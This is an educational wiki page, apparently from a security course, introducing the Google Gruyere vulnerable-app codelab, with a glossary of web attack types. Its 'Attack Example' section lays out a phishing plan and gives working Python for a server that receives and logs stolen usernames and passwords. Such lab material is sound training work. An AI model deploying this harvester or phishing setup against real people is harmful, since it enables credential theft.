The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

1. Create an user account on Google Gruyere webpage
2. Go to the "Upload" Tab and upload the code of your login page

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T19:20:50Z

BSener:

Google Gruyere

2024-12-18T19:12:01Z

BSener: